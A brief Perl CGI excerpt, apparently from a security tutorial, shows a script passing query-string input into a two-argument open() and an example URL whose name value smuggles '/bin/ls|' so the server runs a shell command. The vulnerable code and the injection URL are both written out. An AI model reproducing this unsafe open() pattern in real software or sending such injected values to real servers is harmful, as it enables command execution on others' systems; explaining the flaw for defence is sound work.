Select Code to Download

open(IN, "$filepath/$siteinfo[1]");

$query_string = $ENV{'QUERY_STRING'};
@search      = split(/&/,$query_string);
@info      = split(/=/, $search[0]);
@siteinfo      = split(/-/, $info[1]);

http://www.somehost.com/path/to/script/badscript.cgi?name=x-/bin/ls|